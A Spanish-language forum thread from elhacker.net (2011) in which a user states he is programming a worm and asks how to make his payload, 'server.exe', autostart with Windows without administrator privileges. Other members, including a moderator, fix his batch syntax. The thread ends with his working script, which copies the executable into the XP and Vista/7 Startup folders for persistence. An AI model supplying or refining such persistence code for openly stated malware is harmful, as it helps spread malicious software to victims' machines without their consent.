elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 09:16  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  Pequeña duda en batch [solucionado!!!!] :D
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Pequeña duda en batch [solucionado!!!!] :D  (Leído 1,310 veces)
roilivethelife

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Pequeña duda en batch [solucionado!!!!] :D
« en: 2 Noviembre 2011, 20:43 »

Hola!
Estoy programando un worm, pero me falla una parte vital, que es la de autoarranque con windows.
Tengo este codigo pero me da "error de sintaxis"
Código:
@echo off
REM esta carpeta vale si es windows xp solo
copy /Y server.exe %homedrive%\Documents and Settings\%username%\Menú inicio\Programas\Inicio
(Hay un archivo llamado server.exe donde se ejecuta el bat y la carpeta a donde quiero copiar existe)

y otra preguntita si no es mucho pedir:
como hacer desde batch, saber si un sistema es windows xp o vista/7

gracias!


« Última modificación: 3 Noviembre 2011, 20:58 por roilivethelife » En línea
$Edu$


Desconectado Desconectado

Mensajes: 1.416



Ver Perfil
Re: Pequeña duda en batch
« Respuesta #1 en: 2 Noviembre 2011, 21:04 »

Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch.

Y porque usas 2 variables de entorno pudiendo usar %userprofile%


En línea

"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas." - Albert Einstein.
2Fac3R

Desconectado Desconectado

Mensajes: 267


Sigamos Creciendo...


Ver Perfil WWW
Re: Pequeña duda en batch
« Respuesta #2 en: 3 Noviembre 2011, 01:09 »

Como te dicen, es incorrecto usar 2 variables de entorno.

http://www.google.com.mx/search?aq=f&gcx=w&sourceid=chrome&ie=UTF-8&q=iniciar+programa+con+windows

Zalu2
En línea

Blog dedicado a la Seguridad Informatica & Hacking http://breaksecurity.blogspot.com/.
EleKtro H@cker
Moderador
***
Desconectado Desconectado

Mensajes: 1.348


(8) I will have that power!! (8) Jarkor! :D


Ver Perfil
Re: Pequeña duda en batch
« Respuesta #3 en: 3 Noviembre 2011, 01:40 »

Lo que nadie te ha dicho es que aunque uses solamente %Userprofile% ese código te va a seguir dando error...

1º - Usa comillas dobles en nombres con espacios.

2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.

3º - Leete un manual básico...

Código
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

Para saber que windows usa, es tan fácil como esto:

Código
systeminfo | find "Nombre del sistema"

Saludos.
En línea

Siempre habrá alguien más ignorante que uno mismo, Como por ejemplo el nuevo presidente de la SGAE:

"La banda ancha es totalmente innecesaria para navegar convencionalmente, Solo sirve para descargar megas y megas grandisimos, Y tal."

PD: Volviendo a la era de los 56 k.

roilivethelife

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Pequeña duda en batch
« Respuesta #4 en: 3 Noviembre 2011, 16:10 »

Citar
Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch
No quiero añadir nada al registro porque necesitas privilegios. De mi manera funcionaría en cualquier ordenador, bastaria con saber si es xp o w7 y copiar el programa a la carpeta de inicio.

Citar
Y porque usas 2 variables de entorno pudiendo usar %userprofile%
porque estaba desesperado probando de todas formas posibles y no me iba


Citar
1º - Usa comillas dobles en nombres con espacios.
ok

Citar
2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
en la consola aparece esto TAL CUAL cuando estoy en la carpeta
Código:
C:\Documents and Settings\nombreusuario\Menú Inicio\Programas\Inicio>

Citar
Código

copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

me dá error de ruta especificada no hallada...
Tambien probé con el nombre en español y me da el mismo error, creo que es fallo de la tilde.
alguna solucion?

si kereis probarlo en w7 la carpeta es
“%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu"

gracias!
En línea
EleKtro H@cker
Moderador
***
Desconectado Desconectado

Mensajes: 1.348


(8) I will have that power!! (8) Jarkor! :D


Ver Perfil
Re: Pequeña duda en batch
« Respuesta #5 en: 3 Noviembre 2011, 16:46 »

el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul

PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.
En línea

Siempre habrá alguien más ignorante que uno mismo, Como por ejemplo el nuevo presidente de la SGAE:

"La banda ancha es totalmente innecesaria para navegar convencionalmente, Solo sirve para descargar megas y megas grandisimos, Y tal."

PD: Volviendo a la era de los 56 k.

roilivethelife

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Pequeña duda en batch
« Respuesta #6 en: 3 Noviembre 2011, 20:57 »

el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul

PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.

Ya he encontrado el fallo, por cierto, he probado tu código y me crea las carpetas en ingles xD
El problema está en el uso de la tilde, he mirado en este post: http://foro.elhacker.net/scripting/acentos_en_un_bat-t174987.0.html

Basicamente lo que dice es que usemos el editor de ms-dos ejecutando "edit"

Pones las tildes, guardas y perfecto!
Ya lo he solucionado, funciona 100%
Mi codigo de inicio automatico sin tener privilegios administrativo:
Código:
@echo off
REM Comprobando si es xp...
IF EXIST "%userprofile%\Men£ Inicio\Programas\Inicio\" copy /Y "server.exe" "%userprofile%\Men£ Inicio\Programas\Inicio\"

REM Comprobando si es vista o w7
IF EXIST "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" copy /Y "server.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Pause
Le añadiré alguna mejora pero por el momento me sirve de sobra.

GRacias a todos por responder, especialmete a EleKtro H@cker
« Última modificación: 3 Noviembre 2011, 21:13 por roilivethelife » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Una pequeña duda
GNU/Linux
nando78 1 405 Último mensaje 22 Mayo 2003, 01:46
por ..sR. aDiKtO..
pequeña duda con el SAM
Hacking Básico
DARKNESS 5 660 Último mensaje 30 Mayo 2004, 20:10
por DARKNESS
Una pequeña duda....
Grabadoras
Viequense 3 472 Último mensaje 3 Agosto 2004, 08:41
por Luis_Kano
pequeña duda « 1 2 »
GNU/Linux
n0g0laz 23 1,141 Último mensaje 2 Septiembre 2005, 21:25
por kallikantzaroi
Pequeña duda con un comando batch (NUEVA DUDA RELACIONADA)
Scripting
revenge1252 9 2,503 Último mensaje 13 Febrero 2008, 21:41
por revenge1252
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines